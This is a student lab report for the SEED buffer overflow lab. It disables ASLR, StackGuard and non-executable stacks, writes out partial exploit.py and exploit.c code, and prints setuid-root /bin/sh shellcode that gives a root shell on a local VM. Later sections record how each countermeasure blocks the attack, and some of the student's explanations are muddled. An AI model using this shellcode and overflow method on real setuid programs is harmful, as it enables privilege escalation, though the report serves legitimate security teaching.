Buffer Overflow Vulnerability Lab

Austin Hansen

1001530325

2.1 Turning Off Countermeasures

```
[03/05/21]seed@VM:~$ sudo sysctl -w kernel.randomize
kernel.randomize_va_space = 0
[03/05/21]seed@VM:~$ gcc -fno-stack-protector test.c
[03/05/21]seed@VM:~$ gcc -z execstack -o test test.c
[03/05/21]seed@VM:~$ gcc -z noexecstack -o test test
[03/05/21]seed@VM:~$  sudo ln -sf /bin/zsh /bin/sh
[03/05/21]seed@VM:~$ 
```

Here, we have the setup for this lab. First, using the command **sudo sysctl -w kernel.randomize_va_space=0**, we disable the random addressing for the stack an heap. Next, we type: **gcc -fno-stack-protector example.c**, this disables the StackGuard scheme for the compiled program. Contiuing, the last two commands, **gcc -z execstack -o test test.c** and **gcc -z noexecstack -o test test.c,** explicitly define whether a stack is executable or not executable when compiled. Finally, since we are using Ubuntu 16.04, we use sudo **ln -sf /bin/zsh /bin/sh** to link /bin/sh to /bin/zsh, to facilitate our later attack.

2.2 (Task 1): Running Shellcode

```
[03/05/21]seed@VM:~$ gcc -z execstack -o call_shellcode call_shellcode.c
call_shellcode.c: In function ‘main’:
call_shellcode.c:24:4: warning: implicit declaration of function ‘strcpy’ [-Wimp
licit-function-declaration]
    strcpy(buf, code);
    ^
call_shellcode.c:24:4: warning: incompatible implicit declaration of built-in fu
nction ‘strcpy’
call_shellcode.c:24:4: note: include ‘<string.h>’ or provide a declaration of ‘s
trcpy’
[03/05/21]seed@VM:~$ 
```

For our first task, we simply use the command: **gcc -z execstack -o call_shellcode call_shellcode.c,** all this does is confirm that **call_shellcode.c** is executable. Notably it uses assembly but is not a .s file.

2.3 The Vulnerable Program

```
[03/05/21]seed@VM:~$ gcc -DBUF_SIZE=180 -o stack -z
execstack -fno-stack-protector stack.c
[03/05/21]seed@VM:~$ sudo chown root stack
[03/05/21]seed@VM:~$ sudo chmod 4755 stack
[03/05/21]seed@VM:~$ 
```

Following from 2.2, we compile the vulnerable program, **stack.c**, without stack protection, and set its buffer size to 180. After that we change its ownership to root and change its permission to include the Set-UID bit.

2.4 (Task 2): Exploiting the Vulnerability

```
root@VM:/home/seed# gcc -g -DBUF_SIZE=180 -o stack_d
bg -z execstack -fno-stack-protector stack.c
root@VM:/home/seed# gdb ./stack_dbg
```

Before starting to try the exploit, I made a new executable to be debugged, importantly I added the -g flag so that gdb is more friendly. After this I ran **stack_dbg** in gdb. (this part closely follows the lecture on 2/26 and the one just before it)

```
(gdb) disassemble bof
Dump of assembler code for function bof:
   0x080484eb <+0>:     push   %ebp
   0x080484ec <+1>:     mov    %esp,%ebp
   0x080484ee <+3>:     sub    $0xc8,%esp
=> 0x080484f4 <+9>:     sub    $0x8,%esp
   0x080484f7 <+12>:    pushl  0x8(%ebp)
   0x080484fa <+15>:    lea    -0xbc(%ebp),%eax
   0x08048500 <+21>:    push   %eax
   0x08048501 <+22>:    call   0x8048390 <strcpy@plt
>
   0x08048506 <+27>:    add    $0x10,%esp
   0x08048509 <+30>:    mov    $0x1,%eax
   0x0804850e <+35>:    leave
   0x0804850f <+36>:    ret
End of assembler dump.
```

Though not in this image, I set a breakpoint at bof and ran the program, at that breakpoint I disassembled bof. Here, we get a region of addresses of interest, where the => is pointing is the start of our function, where call is, is where strcpy is called in the program. So, our buffer must start at: 0x080484f7. Also, we can get the start address of the program itself using $ebp. Let us see this and prove this in the next image.

```
EAX: 0xbfffeae7 --> 0x34208
EBX: 0x0
ECX: 0x804fb20 --> 0x0
EDX: 0x0
ESI: 0xb7f1c000 --> 0x1b1db0
EDI: 0xb7f1c000 --> 0x1b1db0
EBP: 0xbfffea18 --> 0xbfffecf8 --> 0x0
ESP: 0xbfffe950 --> 0x804fa88 --> 0xfbad2498
EIP: 0x80484f4 (<bof+9>:        sub    esp,0x8)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap IN
TERRUPT direction overflow)
```

In this image, EBP indicates where the program starts, well just below it, this is at 0xbfffea18. if we add 4 bytes we would be at the start, but how would we get the address of our buffer?

```
gdb-peda$ p &buffer
$1 = (char (*)[180]) 0xbfffe95c
gdb-peda$ p $ebp
$2 = (void *) 0xbfffea18
gdb-peda$ p 0xbfffea18-0xbfffe95c
$3 = 0xbc
```

Now we have the address of our buffer and $ebp, and the address we need specifically in our attack, the address above our start. (where our malicious code is) Time to begin our attack.

```
buff = 0xbfffe95c
edp = 0xbfffea18   # replace 0xAABBCCDD with the correct
offset = (edp - buff) + 4         # replace 0 with the c
ret = buff + offset + 180

content[offset:offset + 4] = (ret).to_bytes(4,byteorder=
###########################################################
```

In **exploit.py**, I added a buff variable for the address of our buffer and **ebp** for the address of $ebp, offset is the difference between **ebp** and **buffer**, with an extra 4 added on to get the actual start. **ret** gives us the shell stuff at the end of **badfile**. Does it work?

```
[03/05/21]seed@VM:~$ exploit.py
[03/05/21]seed@VM:~$ ./stack_dbg
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(ad
m),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmi
n),128(sambashare),999(vboxsf)
```

Yes, it does indeed work. However, it would not print the euid, just the uid, this also applies to the root user (as in the euid does not print), as I tried that too. Now the result for **exploit.c.**

```
void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;
    int buff;
    int ebp;
    int offset;
    int ret;
    int *p;


    buff = 0xbfffe95c;
    ebp = 0xbfffea18;
    offset = (ebp - buff) + 4;
    ret = buff + offset + 180;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    /*copy contents to buffer, took awhile to figure out, mostly full of trash*/
    memcpy(buffer+517 - strlen(shellcode),shellcode,strlen(shellcode));

    /* don't forget that the 2nd argument is an address, cost a lot of time
    memcpy((buffer+offset), &ret, 4);
```

It took a lot longer to figure out how to modify the code for **exploit.c.**

```
[03/05/21]seed@VM:~$ exploit
[03/05/21]seed@VM:~$ ./stack_dbg
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(ad
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(ad
m),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmi
n),128(sambashare),999(vboxsf)
$
```

It does the same thing as **exploit.py,** but the previous problem persists.

2.5 (Task 3): Defeating dash's Countermeasure

```
shellcode= (
   "\x31\xc0"
   "\x31\xdb"
   "\xb0\xd5"
   "\xcd\x80"
   "\x31\xc0"     # xorl    %eax,%eax
   "\x50"         # pushl   %eax
   "\x68""//sh"   # pushl   $0x68732f2f
   "\x68""/bin"   # pushl   $0x6e69622f
   "\x89\xe3"     # movl    %esp,%ebx
   "\x50"         # pushl   %eax
   "\x53"         # pushl   %ebx
   "\x89\xe1"     # movl    %esp,%ecx
   "\x99"         # cdq
   "\xb0\x0b"     # movb    $0x0b,%al
   "\xcd\x80"     # int     $0x80
).encode('latin-1')
```

```
buff = 0xbfffe8ec
edp = 0xbfffe9a8  # replace 0xAABBCCDD with the correct value
offset = (edp - buff) + 4         # replace 0 with the correct value
ret = buff + offset + 180

content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
```

```
[03/05/21]seed@VM:~$ python3 exploit.py
[03/05/21]seed@VM:~$ ./stack_dbg
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),
24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),
128(sambashare),999(vboxsf)
```

After repeating the steps above and adding the 4 new lines to the **exploit.py** program, we needed to update the addresses of it, I will omit that as it was the same as task 2, then we repeat the end of task 2 and now our uid is 0, hooray! Our program ran dash_shell_test, because of the adjustment in exploit.py, with most of the attack remaining the same.

2.6 (Task 4): Defeating Address Randomization

```
[03/05/21]seed@VM:~$ sudo /sbin/sysctl -w kernel.ran
domize_va_space=2
kernel.randomize_va_space = 2
```

```
0 minutes and 18 seconds elapsed.
The program has been running 4490 times so far.
$ 
```

Now to try to beat address randomization using a program provided by the document, I named it **crack_addr.sh**. after using **sudo /sbin/sysctl -w kernel.randomize_va_space=2**, we have reinitialize address randomization. The time to crack was much faster than I anticipated, being just 18 seconds and only 4490 tries, I expected it to be in the tens of thousands.

2.7 (Task 5): Turn on the Stack Guard Protection.

```
[03/05/21]seed@VM:~$ gcc -DBUF_SIZE=180 -o stack -z
execstack stack.c
[03/05/21]seed@VM:~$ sudo chown root stack
[03/05/21]seed@VM:~$  sudo chmod 4755 stack
[03/05/21]seed@VM:~$ ^C
[03/05/21]seed@VM:~$ sudo chmod 4755 stack
[03/05/21]seed@VM:~$ 
```

Compilation and changing ownership yield no errors.

```
Breakpoint 1, 0x08048544 in bof ()
gdb-peda$ p/x &buffer
$1 = 0xb7f1f5b4
gdb-peda$ p/x $ebp
$2 = 0xbfffe988
gdb-peda$ 
```

```
buff = 0xb7f1f5b4
edp = 0xbfffe988  # replace 0xAABBCCDD with the correct
offset = (edp - buff) + 4        # replace 0 with the
ret = buff + offset + 180

content[offset:offset + 4] = (ret).to_bytes(4,byteorder=
```

The address of our points of interest changed, no errors though. Updated exploit.py…

```
[03/05/21]seed@VM:~$ python3 exploit.py
[03/05/21]seed@VM:~$ ./stack_dbg
*** stack smashing detected ***: ./stack_dbg termina
ted
Aborted
```

Aha, here are the errors, I repeated this twice to check that this was indeed the error, it yields the same result each time. I believe that this is the result of StackGuard countermeasure, so our previous exploit no longer works. (stack and stack_dbg return the same result)

2.8 (Task 6): Turn on the Non-executable Stack Protection.

```
[03/05/21]seed@VM:~$ gcc -o stack -fno-stack-protector -z noexecstack stack.c
[03/05/21]seed@VM:~$ sudo chown root stack
[03/05/21]seed@VM:~$ sudo chmod 4755 stack
```

Repeating the first part of Task 2 yields no errors. Additionally, the addresses are the same, so we do not need to update them this time. So, we will skip to just running it.

```
gdb-peda$ p/x &buffer
$1 = 0xbfffea18
gdb-peda$ p/x $ebp
$2 = 0xbfffea38
```

Our addresses changed and have been updated in the program.

```
[03/05/21]seed@VM:~$ python3 exploit.py
[03/05/21]seed@VM:~$ ./stack
Segmentation fault
```

It appears that for all instances, **stack** will produce a segmentation fault. (I tried this three times) Thus, it is impossible to get a shell from here, I believe that this is because we cannot run on the stack, which means that the **stack** program treats **badfile** like it just had no input.